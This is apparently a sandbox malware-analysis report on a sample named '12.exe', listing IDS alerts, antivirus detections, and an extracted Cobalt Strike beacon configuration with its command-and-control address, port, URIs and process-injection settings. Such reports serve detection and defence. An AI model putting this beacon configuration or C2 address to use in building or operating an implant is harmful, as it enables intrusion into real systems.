2024-12-26T19:28:27.658629+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49745	152.42.226.16	59060	TCP
2024-12-26T19:28:30.587201+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49746	152.42.226.16	59060	TCP
2024-12-26T19:28:33.469999+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49747	152.42.226.16	59060	TCP
2024-12-26T19:28:36.381095+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49748	152.42.226.16	59060	TCP
2024-12-26T19:28:39.298766+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49749	152.42.226.16	59060	TCP
2024-12-26T19:28:42.220886+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49750	152.42.226.16	59060	TCP
2024-12-26T19:28:45.126842+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49751	152.42.226.16	59060	TCP
2024-12-26T19:28:48.127398+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49752	152.42.226.16	59060	TCP
2024-12-26T19:28:51.077524+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49753	152.42.226.16	59060	TCP
2024-12-26T19:28:53.995484+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49754	152.42.226.16	59060	TCP
2024-12-26T19:28:56.948292+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49755	152.42.226.16	59060	TCP
2024-12-26T19:28:59.893821+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49758	152.42.226.16	59060	TCP
2024-12-26T19:29:02.785028+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49764	152.42.226.16	59060	TCP
2024-12-26T19:29:05.752619+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49770	152.42.226.16	59060	TCP
2024-12-26T19:29:08.643492+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49776	152.42.226.16	59060	TCP
2024-12-26T19:29:11.534105+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49782	152.42.226.16	59060	TCP
2024-12-26T19:29:14.424353+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49788	152.42.226.16	59060	TCP
2024-12-26T19:29:17.315337+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49794	152.42.226.16	59060	TCP
2024-12-26T19:29:20.206541+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49805	152.42.226.16	59060	TCP
2024-12-26T19:29:23.112154+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49811	152.42.226.16	59060	TCP
2024-12-26T19:29:26.230193+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49817	152.42.226.16	59060	TCP
2024-12-26T19:29:29.189460+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49823	152.42.226.16	59060	TCP
2024-12-26T19:29:32.105461+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49829	152.42.226.16	59060	TCP
2024-12-26T19:29:35.046126+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49839	152.42.226.16	59060	TCP
2024-12-26T19:29:37.940700+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49846	152.42.226.16	59060	TCP
2024-12-26T19:29:40.833437+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49852	152.42.226.16	59060	TCP
2024-12-26T19:29:43.731451+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49858	152.42.226.16	59060	TCP
2024-12-26T19:29:46.671469+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49869	152.42.226.16	59060	TCP
2024-12-26T19:29:49.566010+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49875	152.42.226.16	59060	TCP
2024-12-26T19:29:52.473411+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49881	152.42.226.16	59060	TCP
2024-12-26T19:29:55.539263+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49887	152.42.226.16	59060	TCP
2024-12-26T19:29:58.426729+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49896	152.42.226.16	59060	TCP
2024-12-26T19:30:01.355750+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49904	152.42.226.16	59060	TCP
2024-12-26T19:30:04.261831+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49910	152.42.226.16	59060	TCP
2024-12-26T19:30:07.144332+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49916	152.42.226.16	59060	TCP
2024-12-26T19:30:10.036173+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49925	152.42.226.16	59060	TCP
2024-12-26T19:30:12.925060+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49933	152.42.226.16	59060	TCP
2024-12-26T19:30:16.035600+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49939	152.42.226.16	59060	TCP
2024-12-26T19:30:18.931747+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49945	152.42.226.16	59060	TCP
2024-12-26T19:30:21.832539+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49954	152.42.226.16	59060	TCP
2024-12-26T19:30:24.725469+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49962	152.42.226.16	59060	TCP
2024-12-26T19:30:27.613095+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49968	152.42.226.16	59060	TCP
2024-12-26T19:30:30.503531+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49973	152.42.226.16	59060	TCP
2024-12-26T19:30:33.410620+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49978	152.42.226.16	59060	TCP
2024-12-26T19:30:36.319540+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49987	152.42.226.16	59060	TCP
2024-12-26T19:30:39.298482+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49994	152.42.226.16	59060	TCP
2024-12-26T19:30:42.223934+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50000	152.42.226.16	59060	TCP
2024-12-26T19:30:45.113944+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50009	152.42.226.16	59060	TCP
2024-12-26T19:30:48.020191+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50016	152.42.226.16	59060	TCP
2024-12-26T19:30:50.913584+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50022	152.42.226.16	59060	TCP
2024-12-26T19:30:53.801887+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50029	152.42.226.16	59060	TCP
2024-12-26T19:30:56.737650+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50036	152.42.226.16	59060	TCP
2024-12-26T19:30:59.629939+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50045	152.42.226.16	59060	TCP
2024-12-26T19:31:02.519995+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50050	152.42.226.16	59060	TCP
2024-12-26T19:31:05.411871+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50056	152.42.226.16	59060	TCP
2024-12-26T19:31:08.305535+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50063	152.42.226.16	59060	TCP
2024-12-26T19:31:11.209608+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50067	152.42.226.16	59060	TCP
2024-12-26T19:31:14.098124+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50068	152.42.226.16	59060	TCP
2024-12-26T19:31:16.988917+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50069	152.42.226.16	59060	TCP
2024-12-26T19:31:19.896222+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50070	152.42.226.16	59060	TCP
2024-12-26T19:31:22.845151+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50071	152.42.226.16	59060	TCP
2024-12-26T19:31:25.755345+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50072	152.42.226.16	59060	TCP
2024-12-26T19:31:28.660857+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50073	152.42.226.16	59060	TCP
2024-12-26T19:31:31.559825+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50074	152.42.226.16	59060	TCP
2024-12-26T19:31:34.521650+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50075	152.42.226.16	59060	TCP
2024-12-26T19:31:37.583462+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50076	152.42.226.16	59060	TCP
2024-12-26T19:31:40.475090+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50077	152.42.226.16	59060	TCP
2024-12-26T19:31:43.731887+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50078	152.42.226.16	59060	TCP
2024-12-26T19:31:46.633605+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50079	152.42.226.16	59060	TCP
2024-12-26T19:31:49.520544+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50080	152.42.226.16	59060	TCP
2024-12-26T19:31:52.413722+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50081	152.42.226.16	59060	TCP
2024-12-26T19:31:55.302479+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50082	152.42.226.16	59060	TCP
2024-12-26T19:31:58.236196+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50083	152.42.226.16	59060	TCP
2024-12-26T19:32:01.240049+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50084	152.42.226.16	59060	TCP
2024-12-26T19:32:04.130504+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50085	152.42.226.16	59060	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 12.exe

Avira: detected

Found malware configuration

Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: CobaltStrike {"BeaconType": ["HTTP"], "Port": 59060, "SleepTime": 60000, "MaxGetSize": 1048576, "Jitter": 0, "C2Server": "152.42.226.16,/cx", "HttpPostUri": "/submit.php", "Malleable_C2_Instructions": [], "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\rundll32.exe", "Spawnto_x64": "%windir%\\sysnative\\rundll32.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 987654321, "bStageCleanup": "False", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "True", "bProcInject_UseRWX": "True", "bProcInject_MinAllocSize": 0, "ProcInject_PrependAppend_x86": "Empty", "ProcInject_PrependAppend_x64": "Empty", "ProcInject_Execute": ["CreateThread", "SetThreadContext", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "VirtualAllocEx", "bUsesCookies": "True", "HostHeader": ""}

Multi AV Scanner detection for submitted file

Source: 12.exe

ReversingLabs: Detection: 94%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: 12.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DBEF82 CryptAcquireContextA,CryptAcquireContextA,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,		0_2_00DBEF82
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DBEF82 CryptAcquireContextA,CryptAcquireContextA,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,		0_2_00DBEF82

Source: 12.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DBA70E _malloc,__snprintf,FindFirstFileA,_malloc,__snprintf,FindNextFileA,FindClose,	0_2_00DBA70E
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DB5225 _malloc,_memset,_strncmp,GetCurrentDirectoryA,FindFirstFileA,GetLastError,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindNextFileA,FindClose,	0_2_00DB5225
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DBA70E _malloc,__snprintf,FindFirstFileA,_malloc,__snprintf,FindNextFileA,FindClose,	0_2_00DBA70E

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49730 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49735 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49737 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49743 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49750 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49752 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49731 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49745 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49753 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49755 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49754 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49741 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49746 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49734 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49747 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49751 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49732 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49764 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49748 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49770 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49733 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49776 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49758 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49749 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49782 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49788 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49794 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49805 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49811 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49817 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49823 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49829 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49839 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49846 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49852 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49858 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49869 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49881 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49887 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49904 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49875 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49916 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49896 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49925 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49933 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49939 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49910 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49945 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49954 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49962 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49968 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49973 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49978 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49987 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49994 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50000 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50009 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50029 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50022 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50036 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50050 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50063 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50069 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50067 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50068 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50070 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50071 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50074 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50075 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50072 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50077 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50073 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50078 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50079 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50076 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50056 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50080 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50082 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50081 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50083 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50085 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50084 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50016 -> 152.42.226.16:59060
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50045 -> 152.42.226.16:59060

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 152.42.226.16

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 59060
